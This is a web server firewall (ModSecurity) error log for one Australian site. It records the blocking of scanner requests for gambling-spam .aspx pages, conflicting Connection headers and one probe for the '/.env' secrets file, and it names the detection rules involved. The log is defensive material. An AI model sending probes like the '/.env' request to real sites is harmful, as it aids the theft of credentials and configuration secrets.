[Sat Jan 31 22:13:19.098273 2026] [:error] [pid 31465:tid 31509] [client 95.217.109.26:32796] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aX4N_zkaGp475ez0mlwiswAAAk8"]
[Sat Jan 31 22:13:21.684622 2026] [:error] [pid 39339:tid 39348] [client 95.217.109.26:32816] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aX4OAcWi-IjigR3oHY6OsAAAAMc"]
[Sat Jan 31 22:13:24.206509 2026] [:error] [pid 39339:tid 39344] [client 95.217.109.26:32836] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aX4OBMWi-IjigR3oHY6OtQAAAMM"]
[Sat Jan 31 22:13:26.919899 2026] [:error] [pid 18803:tid 18814] [client 95.217.109.26:30816] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aX4OBi2kTcRk9EBIxOGgFAAAAgg"]
[Sat Jan 31 22:13:29.627486 2026] [:error] [pid 18773:tid 18786] [client 95.217.109.26:30828] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aX4OCdHy21j24IPrB1X5YgAAAYs"]
[Sun Feb 01 01:53:11.291887 2026] [:error] [pid 18803:tid 18813] [client 62.84.185.56:43502] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aX5Bhy2kTcRk9EBIxOHM3wAAAgc"]
[Sun Feb 01 01:53:14.181592 2026] [:error] [pid 59523:tid 59544] [client 62.84.185.56:43512] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aX5BipEkxOIGmVhqUWKuswAAAxE"]
[Sun Feb 01 01:53:17.326608 2026] [:error] [pid 44533:tid 44574] [client 62.84.185.56:40846] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aX5BjYNjc98kHMNVmnt7AwAAAcs"]
[Sun Feb 01 01:53:20.281750 2026] [:error] [pid 31465:tid 31511] [client 62.84.185.56:40848] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aX5BkDkaGp475ez0mlxjpgAAAlE"]
[Sun Feb 01 01:53:22.979967 2026] [:error] [pid 44532:tid 44548] [client 62.84.185.56:40858] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aX5BksH-68uYbAtfrZ26LAAAAUw"]
[Sun Feb 01 01:53:25.678649 2026] [:error] [pid 59582:tid 59632] [client 62.84.185.56:44658] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aX5BlY5dwpvvp1Lc6f2kAgAAA9M"]
[Sun Feb 01 01:53:28.454565 2026] [:error] [pid 31430:tid 31435] [client 62.84.185.56:44660] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aX5BmMcb14YPxXg_g5F6IgAAAEE"]
[Sun Feb 01 01:53:31.314590 2026] [:error] [pid 18803:tid 18826] [client 62.84.185.56:44666] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aX5Bmy2kTcRk9EBIxOHM8QAAAhQ"]
[Sun Feb 01 01:53:34.092639 2026] [:error] [pid 31465:tid 31514] [client 62.84.185.56:44674] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aX5BnjkaGp475ez0mlxjrAAAAlQ"]
[Sun Feb 01 01:53:36.796775 2026] [:error] [pid 18803:tid 18815] [client 62.84.185.56:40756] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aX5BoC2kTcRk9EBIxOHM_QAAAgk"]
[Sun Feb 01 01:53:39.480166 2026] [:error] [pid 44532:tid 44557] [client 62.84.185.56:40762] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aX5Bo8H-68uYbAtfrZ26SQAAAVU"]
[Sun Feb 01 01:53:42.099815 2026] [:error] [pid 39339:tid 39355] [client 62.84.185.56:40764] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aX5BpsWi-IjigR3oHY7BmwAAAM4"]
[Sun Feb 01 01:53:45.026510 2026] [:error] [pid 44532:tid 44560] [client 62.84.185.56:40774] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aX5BqcH-68uYbAtfrZ26TQAAAVg"]
[Sun Feb 01 01:53:47.965267 2026] [:error] [pid 59523:tid 59543] [client 62.84.185.56:34934] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aX5Bq5EkxOIGmVhqUWKuywAAAxA"]
[Sun Feb 01 01:53:50.685895 2026] [:error] [pid 31430:tid 31456] [client 62.84.185.56:34944] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aX5Brscb14YPxXg_g5F6NgAAAFY"]
[Sun Feb 01 01:53:53.497239 2026] [:error] [pid 31430:tid 31458] [client 62.84.185.56:34948] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aX5Bsccb14YPxXg_g5F6PQAAAFg"]
[Sun Feb 01 01:53:56.179938 2026] [:error] [pid 59523:tid 59530] [client 62.84.185.56:9268] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aX5BtJEkxOIGmVhqUWKuzgAAAwM"]
[Sun Feb 01 01:53:58.869630 2026] [:error] [pid 59523:tid 59538] [client 62.84.185.56:9272] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aX5BtpEkxOIGmVhqUWKuzwAAAws"]
[Sun Feb 01 01:54:01.690960 2026] [:error] [pid 31465:tid 31503] [client 62.84.185.56:9284] [client 62.84.185.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aX5BuTkaGp475ez0mlxjywAAAkk"]
[Sun Feb 01 03:33:32.157154 2026] [:error] [pid 44251:tid 44335] [client 182.44.2.148:44425] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aX5ZDJQ_zmwT1jSymJEYMgAAAEw"]
[Sun Feb 01 04:56:40.867544 2026] [:error] [pid 10508:tid 10560] [client 43.130.67.33:39886] [client 43.130.67.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aX5siAFwdoMQv5EWp9tODAAAAFA"]
[Sun Feb 01 06:21:30.885114 2026] [:error] [pid 10509:tid 10593] [client 45.155.68.142:34630] [client 45.155.68.142] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aX6AalMNpJBihOJgwVvr_QAAAJY"]
[Sun Feb 01 12:40:45.647834 2026] [:error] [pid 10509:tid 10585] [client 51.195.103.76:26616] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aX7ZTVMNpJBihOJgwVta2gAAAI4"]
[Sun Feb 01 12:40:49.994075 2026] [:error] [pid 51610:tid 51628] [client 51.195.103.76:35774] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aX7ZUd7GFdNFAqImMQClgQAAAU4"]
[Sun Feb 01 12:40:53.044879 2026] [:error] [pid 2033:tid 2046] [client 51.195.103.76:35776] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aX7ZVfF7B4oR5nK3T_OYAQAAAQs"]
[Sun Feb 01 12:40:55.921816 2026] [:error] [pid 2033:tid 2040] [client 51.195.103.76:2624] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aX7ZV_F7B4oR5nK3T_OYBgAAAQU"]
[Sun Feb 01 12:40:59.050671 2026] [:error] [pid 2033:tid 2047] [client 51.195.103.76:2628] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aX7ZW_F7B4oR5nK3T_OYDAAAAQw"]
[Sun Feb 01 12:41:01.794978 2026] [:error] [pid 10616:tid 10629] [client 51.195.103.76:2642] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aX7ZXWd8pZdmVx6pUp5_jAAAAMk"]
[Sun Feb 01 12:41:04.937652 2026] [:error] [pid 10616:tid 10642] [client 51.195.103.76:2654] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aX7ZYGd8pZdmVx6pUp5_mQAAANY"]
[Sun Feb 01 12:41:07.746883 2026] [:error] [pid 2033:tid 2063] [client 51.195.103.76:39172] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aX7ZY_F7B4oR5nK3T_OYEQAAARY"]
[Sun Feb 01 12:41:11.465657 2026] [:error] [pid 10616:tid 10622] [client 51.195.103.76:39182] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aX7ZZ2d8pZdmVx6pUp5_sQAAAMI"]
[Sun Feb 01 12:41:14.087190 2026] [:error] [pid 10616:tid 10620] [client 51.195.103.76:39196] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aX7Zamd8pZdmVx6pUp5_ugAAAMA"]
[Sun Feb 01 12:41:16.645643 2026] [:error] [pid 10509:tid 10575] [client 51.195.103.76:56100] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aX7ZbFMNpJBihOJgwVta9QAAAIQ"]
[Sun Feb 01 12:41:19.561743 2026] [:error] [pid 10616:tid 10620] [client 51.195.103.76:56112] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aX7Zb2d8pZdmVx6pUp5_wgAAAMA"]
[Sun Feb 01 12:41:23.947291 2026] [:error] [pid 2033:tid 2044] [client 51.195.103.76:56114] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aX7Zc_F7B4oR5nK3T_OYJwAAAQk"]
[Sun Feb 01 12:41:26.532332 2026] [:error] [pid 51610:tid 51622] [client 51.195.103.76:25532] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aX7Zdt7GFdNFAqImMQClxwAAAUg"]
[Sun Feb 01 12:41:29.317636 2026] [:error] [pid 51610:tid 51634] [client 51.195.103.76:25548] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aX7Zed7GFdNFAqImMQClygAAAVQ"]
[Sun Feb 01 12:41:32.155470 2026] [:error] [pid 10506:tid 10535] [client 51.195.103.76:25562] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aX7ZfK32IC2Db4uwFyMPIQAAABM"]
[Sun Feb 01 12:41:34.730347 2026] [:error] [pid 10616:tid 10626] [client 51.195.103.76:25568] [client 51.195.103.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aX7Zfmd8pZdmVx6pUp5_3wAAAMY"]
[Sun Feb 01 16:06:30.353118 2026] [:error] [pid 10509:tid 10577] [client 217.182.194.3:44588] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aX8JhlMNpJBihOJgwVuxKAAAAIY"]
[Sun Feb 01 16:06:33.425074 2026] [:error] [pid 2033:tid 2051] [client 217.182.194.3:60458] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aX8JifF7B4oR5nK3T_PQLAAAARA"]
[Sun Feb 01 16:06:36.136660 2026] [:error] [pid 10509:tid 10582] [client 217.182.194.3:60470] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aX8JjFMNpJBihOJgwVuxRQAAAIs"]
[Sun Feb 01 16:06:39.305852 2026] [:error] [pid 10509:tid 10578] [client 217.182.194.3:60150] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aX8Jj1MNpJBihOJgwVuxVwAAAIc"]
[Sun Feb 01 16:06:41.875688 2026] [:error] [pid 51610:tid 51634] [client 217.182.194.3:60166] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aX8Jkd7GFdNFAqImMQDe9wAAAVQ"]
[Sun Feb 01 16:06:44.685988 2026] [:error] [pid 10509:tid 10583] [client 217.182.194.3:60168] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aX8JlFMNpJBihOJgwVuxagAAAIw"]
[Sun Feb 01 16:06:47.697239 2026] [:error] [pid 10509:tid 10576] [client 217.182.194.3:60172] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aX8Jl1MNpJBihOJgwVuxcgAAAIU"]
[Sun Feb 01 16:06:50.891737 2026] [:error] [pid 51610:tid 51619] [client 217.182.194.3:52578] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aX8Jmt7GFdNFAqImMQDfAwAAAUU"]
[Sun Feb 01 16:06:54.055652 2026] [:error] [pid 10508:tid 10552] [client 217.182.194.3:52594] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aX8JngFwdoMQv5EWp9sTKwAAAEg"]
